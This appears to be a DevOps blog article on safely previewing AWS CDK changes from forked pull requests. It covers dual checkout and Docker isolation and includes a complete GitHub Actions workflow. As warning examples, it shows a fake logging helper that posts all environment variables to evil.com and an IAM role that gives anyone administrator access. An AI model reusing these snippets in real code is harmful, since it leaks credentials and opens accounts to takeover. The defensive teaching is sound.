The Trust Challenge: Safe Infrastructure Previews in Forked Workflows

Part 4 of "From Chaos to Control: Secure AWS Deployment Pipelines"

In our previous article, we built a solid foundation with branch protection and automated security scanning. But there's one challenge that keeps infrastructure teams awake at night: How do you safely preview infrastructure changes from contributors you don't fully trust?

This is the classic "trust dilemma" of modern DevOps. You need to see what infrastructure changes a PR will make before merging it, but you can't trust the code until it's been reviewed. In this article, we'll explore how to solve this challenge using dual-checkout patterns and Docker isolation.

The Infrastructure Security Dilemma

Picture this scenario: A contributor submits a PR with what looks like a simple IAM role change. The diff shows "Creating new service role" — seems innocent enough. But hidden in the CDK code is this:

new iam.Role({
  assumedBy: new iam.AnyPrincipal(), // ← Opens your account to the world
  managedPolicies: [
    iam.ManagedPolicy.fromAwsManagedPolicyName("AdministratorAccess") // ← Full admin access
  ]
})

Or consider this seemingly helpful logging function:

// Innocent-looking helper function
function logDeploymentInfo() {
  const env = process.env;
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify(env) // ← Steals all environment variables
  });                         //   including AWS credentials
}

The dilemma: You need to preview the changes to understand their impact, but you cannot trust the code until it's been reviewed.

Understanding GitHub Actions Security Models

The pull_request Trigger: Safe but Limited

With the standard pull_request trigger, workflows run in the contributor's context:

pull_request Trigger Security Model
┌───────────────────────────────────────────────────────┐
│ Fork Repository                Main Repository        │
│ ┌─────────────────┐            ┌─────────────────┐    │
│ │ PR Code         │            │ Workflow runs   │    │
│ │ (potentially    │ ─runs in─→ │ with fork's     │    │
│ │ malicious)      │            │ limited perms   │    │
│ └─────────────────┘            └─────────────────┘    │
│                                                       │
│ ✅ Safe: No access to secrets                         │
│ ❌ Limited: Cannot read deployed infrastructure state │
└───────────────────────────────────────────────────────┘

Problem: The fork doesn't have access to AWS credentials, so it can't generate meaningful infrastructure diffs.

The pull_request_target Trigger: Powerful but Dangerous

With pull_request_target, workflows run in the main repository's context:

pull_request_target Trigger Security Model
┌─────────────────────────────────────────────────────┐
│ Fork Repository                Main Repository      │
│ ┌─────────────────┐            ┌──────────────────┐ │
│ │ PR Code         │            │ Workflow runs    │ │
│ │ (potentially    │ ─runs in─→ │ with main repo   │ │
│ │ malicious)      │            │ full permissions │ │
│ └─────────────────┘            └──────────────────┘ │
│                                                     │
│ ✅ Powerful: Access to AWS credentials and secrets  │
│ ❌ Dangerous: Malicious code can steal credentials  │
└─────────────────────────────────────────────────────┘

The Risk: Malicious code in the PR can now access your AWS credentials, secrets, and deployed infrastructure.

The Dual-Checkout Security Pattern

The solution is to separate trusted tooling from untrusted code using a dual-checkout pattern:

Dual-Checkout Security Architecture
┌─────────────────────────────────────────────────────────────┐
│ GitHub Actions Runner                                       │
│                                                             │
│ Trusted Code (Main Branch)     Untrusted Code (PR Branch)   │
│ ┌─────────────────────────┐    ┌──────────────────────────┐ │
│ │ /                       │    │ /untrusted-pr-code/      │ │
│ │ ├── .github/workflows/  │    │ ├── iac/                 │ │
│ │ ├── iac/                │    │ │   ├── modified.ts      │ │
│ │ │   ├── package.json    │    │ │   └── new-stack.ts     │ │
│ │ │   └── node_modules/   │    │ ├── serverless/          │ │
│ │ │       └── aws-cdk/    │    │ └── webapp/              │ │
│ │ └── serverless/         │    └──────────────────────────┘ │
│ └─────────────────────────┘                                 │
│                                                             │
│ ✅ Trusted CDK CLI             ❌ Untrusted infrastructure  │
│ ✅ Trusted dependencies        ❌ Untrusted build scripts   │
│ ✅ Access to AWS               ❌ Isolated from credentials │
└─────────────────────────────────────────────────────────────┘

How It Works

1. Checkout trusted code (main branch) to the runner root
2. Install trusted dependencies including CDK CLI
3. Checkout untrusted code (PR branch) to a separate subdirectory
4. Run untrusted code using trusted tools only

This ensures that even if the PR contains malicious code, it cannot:

• Replace the CDK CLI with a malicious version
• Access AWS credentials directly
• Modify the workflow execution environment

Docker: The Additional Isolation Layer

Even with dual-checkout, untrusted code still runs on the same system. Docker provides an additional isolation layer:

Docker Security Isolation
┌───────────────────────────────────────────────────────────┐
│ GitHub Actions Runner (Host)                              │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Docker Container (Isolated)                           │ │
│ │                                                       │ │
│ │ ┌─────────────────┐                                   │ │
│ │ │ Untrusted Code  │ → Limited to:                     │ │
│ │ │ • npm install   │   • Read/write own files          │ │
│ │ │ • tsc compile   │   • Network access for npm        │ │
│ │ │ • npm build     │   • No access to host filesystem  │ │
│ │ └─────────────────┘   • No access to host network     │ │
│ │                       • No access to AWS credentials  │ │
│ └───────────────────────────────────────────────────────┘ │
│                                                           │
│ Host maintains:                                           │
│ • AWS credentials                                         │
│ • Trusted CDK CLI                                         │
│ • Access to deployed infrastructure                       │
└───────────────────────────────────────────────────────────┘

Docker Security Benefits:

• Prevents untrusted code from accessing host filesystem
• Blocks network access to internal services
• Isolates process execution
• Limits resource consumption

Safe Infrastructure Diffing Workflow

Here's how the secure workflow operates:

Secure Infrastructure Preview Workflow
┌─────────────────────────────────────────────────────────────┐
│ 1. PR Submitted with IaC Changes                            │
│    └─→ Triggers pull_request_target workflow                │
│                                                             │
│ 2. Checkout Trusted Code (develop branch)                   │
│    ├─→ Install trusted CDK CLI and dependencies             │
│    └─→ Configure AWS credentials (trusted environment)      │
│                                                             │
│ 3. Checkout Untrusted Code (PR branch)                      │
│    └─→ Isolated to /untrusted-pr-code/ subdirectory         │
│                                                             │
│ 4. Build Untrusted Code (Docker isolation)                  │
│    ├─→ npm ci (install dependencies)                        │
│    ├─→ tsc compile (TypeScript compilation)                 │
│    └─→ npm run build (build artifacts)                      │
│                                                             │
│ 5. Synthesize Infrastructure (Docker isolation)             │
│    ├─→ Use trusted CDK CLI: ../node_modules/.bin/cdk        │
│    ├─→ Run with network, block all other accesses           │
│    ├─→ Set the running command `node dist/bin/iac.js`       │
│    └─→ Save output in folder cdk.out                        │
│                                                             │
│ 6. Generate Infrastructure Diff (develop branch)            │
│    ├─→ Use trusted CDK CLI: ../node_modules/.bin/cdk        │
│    ├─→ Run against produced assets in `cdk.out`             │
│    └─→ Save output in file `cdk.out`                        │
│                                                             │
│ 7. Post Results (Docker isolation)                          │
│    └─→ cdk-notifier posts diff as PR comment                │
└─────────────────────────────────────────────────────────────┘

Key Security Measures

1. Trusted CDK CLI Usage

# ❌ Dangerous: Uses potentially malicious CDK from untrusted code
npx cdk diff Develop

# ✅ Safe: Uses trusted CDK CLI from parent directory
../../iac/node_modules/.bin/cdk diff Develop

2. Isolated Output Directory

# ❌ Dangerous: Might write to parent directory
cdk diff Develop

# ✅ Safe: Forces output to isolated directory
cdk diff Develop --output cdk.out

3. Docker Process Isolation

# ❌ Dangerous: Runs directly on host
cd untrusted-pr-code && npm ci

# ✅ Safe: Runs in isolated container
docker run --rm \
  -v "$(pwd)/untrusted-pr-code:/workspace:rw" \
  -w /workspace \
  --user $(id -u):$(id -g) \
  node:20-alpine \
  npm ci

4. Credential Isolation

# The untrusted code never has direct access to:
# - AWS_ACCESS_KEY_ID
# - AWS_SECRET_ACCESS_KEY
# - AWS_SESSION_TOKEN
# - GITHUB_TOKEN (except limited scope for cdk-notifier)

Implementation: The Complete Secure Workflow

Now let's implement a production-ready workflow that puts these security patterns into practice:

name: CDK Diff Report

# SECURITY WARNING: This workflow uses pull_request_target
# It runs untrusted code with access to repository secrets
# Only use after understanding the security implications
on:
  pull_request_target: # Run in main repo context for status checks
    branches: [develop]
    types: [opened, synchronize, reopened]
    paths:
      - "iac/**"
      - "!iac/test/**"
      - ".github/workflows/report-infrastructure-diff.yml"

# Prevent concurrent runs to avoid resource conflicts
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

env:
  AWS_REGION: eu-central-1
  AWS_ACCOUNT: 274116565330
  UNTRUSTED_CODE_FOLDER: untrusted-pr-code
  NODE_VERSION: "22"

jobs:
  deploy:
    name: check diff to develop
    runs-on: ubuntu-latest

    # Timeout to prevent resource exhaustion attacks
    timeout-minutes: 15

    permissions:
      id-token: write # AWS OIDC authentication
      contents: read # Read repository contents
      pull-requests: write # Post diff comments
      issues: write # Comment on PRs
      repository-projects: write # Update project boards

    env:
      BRANCH_NAME: ${{ github.head_ref || github.ref_name }}
      GITHUB_OWNER: ${{ github.repository_owner }}
      GITHUB_REPO: ${{ github.event.repository.name }}
      PULL_REQUEST_ID: ${{ github.event.pull_request.number }}

    steps:
      - name: Checkout Base Branch (Trusted Workflow Definition and Dependencies)
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.base.ref }} # Checkout the code of the develop branch

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: ${{ env.NODE_VERSION }}
          cache: "npm"
          cache-dependency-path: package-lock.json

      # Project is NPM workspace compliant
      - name: Install all dependencies
        run: npm ci

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::${{ env.AWS_ACCOUNT }}:role/github-ci-role
          role-session-name: github-ci-infrastructure-diff
          aws-region: ${{ env.AWS_REGION }}

      - name: Check caller identity
        run: aws sts get-caller-identity # Fails fast if credentials broken

      - name: Checkout PR Head (Untrusted Code)
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          path: ./${{ env.UNTRUSTED_CODE_FOLDER }} # Checkout into a distinct sub-directory
          persist-credentials: false # Crucial: ensure no credentials are inserted into the checked-out URL

      - name: Prepare dependencies in the untrusted branch (from PR)
        run: |
          echo "Loading untrusted code dependencies in isolated Docker containers..."

          docker run --rm \
            --volume "./$UNTRUSTED_CODE_FOLDER:/workspace:rw" \
            --workdir /workspace \
            --user $(id -u):$(id -g) \
            --env npm_config_cache=/tmp/.npm \
            node:${{ env.NODE_VERSION }}-alpine \
            npm ci

          docker run --rm \
            --volume "./$UNTRUSTED_CODE_FOLDER:/workspace:rw" \
            --workdir /workspace \
            --user $(id -u):$(id -g) \
            --env npm_config_cache=/tmp/.npm \
            node:${{ env.NODE_VERSION }}-alpine \
            npm run build-all

      # Check diff the PR code to develop while using the trusted CDK CLI (from the parent folder)
      # This ensures that the CDK CLI is trusted and not influenced by untrusted code.
      # This is crucial to prevent potential security risks from untrusted code.
      - name: Check diff to develop
        working-directory: ./${{ env.UNTRUSTED_CODE_FOLDER }}
        run: |
          echo "- Step 1: cdk diff in isolated environment (no credentials, no network)"
          # First, synthesize the template WITHOUT credentials in completely isolated Docker
          ### Local shell equivalent: npm run build; npx cdk synth --output /tmp/cdk.out
          docker run --rm \
            --volume "./:/workspace:rw" \
            --volume "$(pwd)/../node_modules:/trusted-modules:ro" \
            --workdir /workspace \
            --user $(id -u):$(id -g) \
            --cap-drop=ALL \
            --memory=2g \
            --cpu-shares=1024 \
            --env npm_config_cache=/tmp/.npm \
            node:${{ env.NODE_VERSION }} \
            sh -c "cd iac && timeout 120s /trusted-modules/.bin/cdk synth Develop \
              --app 'node dist/bin/iac.js' \
              --output cdk.out \
              --no-version-reporting > synth.log 2>&1" || {
              echo "❌ CDK synthesis failed - this might indicate malicious code trying to access network/credentials"
              exit 1
            }

          echo "- Step 2: cdk.out content"
          ls -la ./iac/cdk.out
          echo "AWS_ACCOUNT: $AWS_ACCOUNT"
          echo "AWS_REGION: $AWS_REGION"

          echo "- Step 3: cdk diff in trusted environment"
          # Then, compare the synthesized template with the deployed stack using trusted CLI with AWS credentials
          ### Local shell equivalent: AWS_REGION=eu-central-1 AWS_ACCOUNT=274116565330 npx cdk diff Develop --app /tmp/cdk.out --progress=events --profile ...
          ../node_modules/.bin/cdk diff Develop \
            --app "./iac/cdk.out" \
            --progress=events \
            --no-version-reporting \
            &> cdk.log

          echo "- Step 4: cdk.log file"
          ls -la ./cdk.log

      - name: "Security Scan of Diff Output"
        working-directory: ./${{ env.UNTRUSTED_CODE_FOLDER }}
        run: |
          echo "- Step 1: cdk.log file"
          ls -la ./cdk.log

          echo "- Step 2: Basic security patterns to flag for review"
          if grep -E "(AdministratorAccess|PowerUserAccess|FullAccess)" cdk.log; then
            echo "⚠️  WARNING: Over privileged managed policies detected"
            echo "security-warning=true" >> $GITHUB_ENV
          fi

          if grep -E 'Action: "\*"' cdk.log; then
            echo "⚠️  WARNING: Wildcard actions in IAM policies detected"
            echo "security-warning=true" >> $GITHUB_ENV
          fi

          echo "- Step 3: Context-aware security check"
          webhook_context=$(grep -B 10 -A 10 'Principal: "\*"' cdk.log || true)
          if echo "$webhook_context" | grep -q "lambda:InvokeFunctionUrl"; then
            echo "✅ Webhook pattern detected - legitimate use of Principal: '*'"
          else
            if grep -q 'Principal: "\*"' cdk.log; then
              echo "⚠️  WARNING: Unrestricted principal access detected"
              echo "security-warning=true" >> $GITHUB_ENV
            fi
          fi

          echo "- Step 4: Look for actual resource destruction patterns"
          deletion_matches=$(grep -n -B 3 -A 3 -E "(\[-\]\s*AWS::|\.destroy\(\)|DeletionPolicy.*Delete|Stack.*DESTROY)" cdk.log || true)

          if [ -n "$deletion_matches" ]; then
            echo "⚠️  WARNING: Resource deletion detected"
            echo "📍 Found at:"
            echo "$deletion_matches"
            echo "destruction-warning=true" >> $GITHUB_ENV
          fi

          echo "🔍 Security scan completed. Warnings: security=${security-warning:-false}, destruction=${destruction-warning:-false}"

      # cdk-notifier
      # cSpell:ignore karlderkaefer
      - name: Post CDK diff to PR
        run: |
          echo "Create cdk-notifier report"
          docker run --rm \
            --volume "./$UNTRUSTED_CODE_FOLDER/cdk.log:/app/cdk.log:ro" \
            --env GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \
            karlderkaefer/cdk-notifier:latest \
            --owner $GITHUB_OWNER \
            --repo $GITHUB_REPO \
            --log-file /app/cdk.log \
            --tag-id "diff-pr-$PULL_REQUEST_ID-to-develop" \
            --pull-request-id $PULL_REQUEST_ID \
            --vcs github \
            --ci circleci \
            --template extendedWithResources

      - name: "Fail the build if security or destruction warnings are present"
        if: env.security-warning == 'true' || env.destruction-warning == 'true'
        run: |
          echo "::warning title=Security Review Required::This PR contains potentially dangerous infrastructure changes that require careful review"
          exit 1

Understanding the Remaining Risks

Even with these protections, some risks remain:

1. cdk-notifier GITHUB_TOKEN Access

Limited Risk: cdk-notifier Tool Access
┌────────────────────────────────────────────────────────────┐
│ Risk: cdk-notifier has GITHUB_TOKEN access                 │
│                                                            │
│ Mitigations:                                               │
│ • Token has limited permissions (pull-requests: write)     │
│ • Token is short-lived (expires with workflow)             │
│ • Tool runs in separate Docker container                   │
│ • Tool is from trusted source (karlderkaefer/cdk-notifier) │
│                                                            │
│ Potential Impact:                                          │
│ • Could post malicious comments on PRs                     │
│ • Could access public repository information               │
│ • Cannot access AWS resources or secrets                   │
└────────────────────────────────────────────────────────────┘

2. CDK Synthesis-Time Code Execution

// Risk: Malicious code in CDK constructs runs during synthesis
export class MaliciousStack extends Stack {
  constructor(scope: Construct, id: string) {
    super(scope, id);

    // This code runs during 'cdk diff' and could be malicious
    maliciousFunction();
  }
}

Mitigation: The Docker isolation prevents most damage, but code review remains essential.

3. Diff Output Manipulation

Malicious code could try to hide dangerous changes in the diff output, but this is limited by:

• The trusted CDK CLI generates the actual diff
• The isolated output directory prevents tampering
• Code review catches suspicious patterns

Key Benefits of This Approach

• Security: Multiple layers protect against credential theft and malicious code
• Functionality: Provides meaningful infrastructure previews for review
• Trust: Separates trusted tooling from untrusted code
• Scalability: Works for both small projects and large monorepos
• Maintainability: Uses standard tools and patterns

Best Practices for Implementation

1. Always use dual-checkout pattern for pull_request_target workflows
2. Implement Docker isolation for untrusted code execution
3. Use trusted tooling (CDK CLI, dependencies) from main branch
4. Implement security scanning of diff outputs
5. Set up monitoring for unusual activity
6. Maintain code review discipline as the final security layer

Looking Ahead

The dual-checkout pattern with Docker isolation provides a robust solution for safely previewing infrastructure changes from untrusted sources. While it doesn't eliminate all risks, it significantly reduces the attack surface and provides multiple layers of protection.

The key insight is that you can run untrusted code safely if you control the execution environment and the tools used to process it. By maintaining strict separation between trusted tooling and untrusted code, you can provide valuable infrastructure previews without compromising your deployment pipeline's security.

In our final article, we'll bring everything together with real-world lessons learned and practical tips for implementing these security patterns in your organization.

---

Remember: This security model is only as strong as your code review process. Automated security measures protect against accidental exposure, but human review remains essential for catching malicious intent.

Next in series: Lessons Learned: Building Secure Pipelines in Practice